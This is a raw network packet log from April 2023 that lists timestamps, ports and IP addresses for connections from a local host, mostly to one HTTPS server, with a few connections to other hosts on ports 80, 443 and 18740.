Apr 21, 2023 01:04:21.051330090 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.051449060 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.051449060 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.051510096 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.051568031 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.075587034 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.075638056 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.075743914 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.075772047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.075788021 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.075823069 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.095911026 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.095982075 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.096060991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.096096992 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.096139908 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.096160889 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.124058962 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.124167919 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.124196053 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.124227047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.124272108 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.124317884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.147181988 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.147243023 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.147331953 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.147368908 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.147387981 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.147428989 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.153232098 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:21.170958042 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.171019077 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.171097994 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.171153069 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.171185017 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.171205997 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.191618919 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.191689968 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.191760063 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.191786051 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.191806078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.191870928 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.211193085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.211260080 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.211348057 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.211421967 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.211464882 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.211515903 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.235003948 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.235076904 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.235133886 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.235194921 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.235232115 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.235250950 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.255664110 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.255723000 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.255805016 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.255863905 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.255901098 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.255935907 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.273660898 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.278593063 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.278650045 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.278747082 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.278781891 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.278815031 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.278834105 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.300836086 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.300898075 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.300970078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.301017046 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.301048040 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.301064968 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.316576004 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.316634893 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.316688061 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.316724062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.316759109 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.316776037 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.333875895 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.333929062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.334008932 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.334037066 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.334057093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.334089041 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.344563961 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.344614983 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.344671011 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.344691038 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.344707966 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.344733953 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.358499050 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.358542919 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.358597040 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.358625889 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.358644009 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.358675957 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.372606993 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.372678995 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.372728109 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.372756958 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.372780085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.372807980 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.383275032 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:21.391676903 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.391762018 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.391804934 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.391830921 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.391856909 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.391895056 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.405379057 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.405476093 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.405539989 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.405566931 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.405616999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.405628920 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.425010920 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.425040007 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.425251007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.425251007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.425277948 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.425335884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.440315962 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.440356970 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.440418959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.440438032 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.440464973 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.440483093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.452053070 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:21.453205109 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.453293085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.453325033 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.453350067 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.453378916 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.453397036 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.468401909 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.468499899 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.468513012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.468569040 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.468604088 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.468621969 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.482085943 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.482134104 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.482224941 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.482224941 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.482279062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.482356071 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.497469902 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.497520924 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.497575045 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.497625113 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.497657061 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.497675896 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.510701895 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.510793924 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.510938883 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.510938883 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.678672075 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:21.680175066 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:21.719430923 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.720999956 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.906835079 CEST	18740	49688	103.173.229.190	192.168.2.3
Apr 21, 2023 01:04:21.931432009 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:21.933288097 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:21.967359066 CEST	49688	18740	192.168.2.3	103.173.229.190
Apr 21, 2023 01:04:22.217664957 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.217720985 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.217756033 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.217840910 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.217861891 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.217881918 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218029022 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218049049 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218090057 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218110085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218208075 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218234062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218257904 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218274117 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218301058 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218413115 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218427896 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218486071 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218502045 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218552113 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218552113 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.218599081 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218652010 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218702078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218755960 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.218820095 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.423439026 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.424738884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:22.867427111 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:22.868546009 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:23.695420980 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:23.695516109 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:25.363445044 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:25.363662004 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:28.167753935 CEST	80	49689	208.95.112.1	192.168.2.3
Apr 21, 2023 01:04:28.879424095 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:28.879528999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682497978 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682552099 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682574987 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682636976 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682651997 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682681084 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682697058 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682708025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682760000 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682771921 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682800055 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682810068 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682828903 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682852030 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682859898 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682879925 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682892084 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682899952 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.682965040 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.682998896 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.683063030 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.683077097 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.683115959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.683203936 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.683336020 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.683348894 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.683372974 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.683440924 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:31.895432949 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:31.895534992 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:32.335510015 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:32.335608959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:33.171423912 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:33.171837091 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:33.841058969 CEST	49698	80	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.857784033 CEST	80	49698	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:33.857922077 CEST	49698	80	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.858227968 CEST	49698	80	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.874754906 CEST	80	49698	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:33.884875059 CEST	80	49698	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:33.885040998 CEST	49698	80	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.926913023 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.926991940 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:33.927109003 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.997298002 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:33.997385979 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.053426027 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.053519964 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:34.716582060 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:34.716639996 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.717416048 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.717900038 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:34.727041006 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:34.767431021 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.831423044 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:34.831537962 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:34.931562901 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.931977987 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:34.932137012 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:34.935446978 CEST	49699	443	192.168.2.3	104.20.68.143
Apr 21, 2023 01:04:34.935489893 CEST	443	49699	104.20.68.143	192.168.2.3
Apr 21, 2023 01:04:36.116238117 CEST	49700	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:36.176903963 CEST	80	49700	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:36.177947998 CEST	49700	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:36.193335056 CEST	49700	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:36.255321026 CEST	80	49700	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:36.255717993 CEST	80	49700	185.159.130.81	192.168.2.3
Apr 21, 2023 01:04:36.255883932 CEST	49700	80	192.168.2.3	185.159.130.81
Apr 21, 2023 01:04:36.282190084 CEST	49701	80	192.168.2.3	185.159.129.168
Apr 21, 2023 01:04:36.342905998 CEST	80	49701	185.159.129.168	192.168.2.3
Apr 21, 2023 01:04:36.343729973 CEST	49701	80	192.168.2.3	185.159.129.168
Apr 21, 2023 01:04:36.344119072 CEST	49701	80	192.168.2.3	185.159.129.168
Apr 21, 2023 01:04:36.404824972 CEST	80	49701	185.159.129.168	192.168.2.3
Apr 21, 2023 01:04:36.538606882 CEST	80	49701	185.159.129.168	192.168.2.3
Apr 21, 2023 01:04:36.538661957 CEST	80	49701	185.159.129.168	192.168.2.3
Apr 21, 2023 01:04:36.538682938 CEST	80	49701	185.159.129.168	192.168.2.3
Apr 21, 2023 01:04:36.538758039 CEST	49701	80	192.168.2.3	185.159.129.168
Apr 21, 2023 01:04:38.351433992 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:38.351531982 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950489044 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950530052 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950548887 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950680971 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950694084 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950709105 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950812101 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950820923 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950835943 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950860977 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950866938 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950905085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950911045 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.950953007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.950962067 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.951006889 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951013088 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.951052904 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951059103 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.951103926 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951169014 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951193094 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951375008 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951383114 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:42.951417923 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951456070 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:42.951484919 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:43.163439989 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:43.163533926 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:43.599427938 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:43.603079081 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:44.431436062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:44.431523085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:46.095462084 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:46.095556021 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:49.615485907 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:49.615614891 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.271466017 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.271595001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772346020 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772398949 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772423029 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772511959 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772526026 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772574902 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772583961 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772598982 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772610903 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772619963 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772633076 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772646904 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772655010 CEST	443	49697	144.76.136.153	192.168.2.3
